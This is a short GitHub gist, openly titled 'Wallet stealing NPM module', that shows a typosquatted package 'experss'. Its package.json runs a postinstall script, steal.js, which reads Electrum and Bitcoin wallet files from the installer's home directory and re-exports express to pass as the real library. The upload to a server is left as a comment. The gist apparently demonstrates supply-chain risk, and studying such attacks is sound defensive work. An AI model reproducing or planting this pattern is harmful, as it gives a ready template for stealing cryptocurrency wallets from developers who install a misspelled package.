Skip to content

Instantly share code, notes, and snippets.

@JonnyBurger
Created March 7, 2018 21:21
Show Gist options
  • Save JonnyBurger/87f2799557086d980a6f8545ef3fab9f to your computer and use it in GitHub Desktop.
Save JonnyBurger/87f2799557086d980a6f8545ef3fab9f to your computer and use it in GitHub Desktop.
Wallet stealing NPM module
{
"name": "experss",
"version": "1.0.0",
"scripts": {
"postinstall": "node steal.js"
},
"dependencies": {
"express": "^4.16.2",
"os-homedir": "^1.0.2"
}
}
const fs = require('fs');
const path = require('path');
const homedir = require('os-homedir');
const walletPaths = [
path.join(homedir(), '.electrum-ltc/wallets/default_wallet'),
path.join(homedir(), '.electrum-cash/wallets/default_wallet'),
'~/Library/Application\ Support/Bitcoin/wallet.dat'
];
walletPaths.forEach(path => {
if (fs.existsSync(path)) {
const wallet = fs.readFileSync(path, 'utf8');
// upload wallet to your server
}
});
module.exports = require('express');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment